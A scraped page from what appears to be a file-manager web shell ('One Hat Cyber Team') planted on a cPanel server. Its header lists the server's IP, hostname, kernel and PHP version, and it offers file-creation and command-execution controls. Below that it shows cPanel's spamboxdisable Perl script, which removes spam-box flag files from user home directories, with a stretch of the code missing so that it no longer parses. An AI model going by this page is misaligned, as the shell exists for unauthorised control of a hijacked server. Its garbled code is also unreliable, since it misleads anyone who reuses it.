⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.78
Server IP:
50.6.168.112
Server:
Linux server-617809.webnetzimbabwe.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.4.10
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
scripts
/
View File Name :
spamboxdisable
#!/usr/local/cpanel/3rdparty/bin/perl # cpanel - scripts/spamboxdisable Copyright 2022 cPanel, L.L.C. # All rights reserved. # copyright@cpanel.net http://cpanel.net # This code is subject to the cPanel license. Unauthorized copying is prohibited use strict; use Cpanel::SafeFile; use Cpanel::LoginDefs (); use Getopt::Std; my %options = (); getopts( 'fqh', \%options ); $| = 1; if ( defined( $options{'h'} ) ) { print <
) { my ( $uid, $homedir ) = ( split( /:/, $_ ) )[ 2, 5 ]; next if ( int($uid) < Cpanel::LoginDefs::get_uid_min() ); if ( -d $homedir ) { push( @homedirs, $homedir ); } } Cpanel::SafeFile::safeclose( \*PASS, $passwdlock ); my $removed = 0; foreach my $homedir (@homedirs) { if ( -e $homedir . '/.spamassassinboxenable' ) { unless ( defined( $options{'q'} ) ) { print "Unlinking $homedir/.spamassassinboxenable\n"; } unlink( $homedir . '/.spamassassinboxenable' ); $removed = 1; } } unless ( defined( $options{'q'} ) ) { if ($removed) { print "Done\n"; } else { print "No accounts currently have their spam box enabled.\n"; } }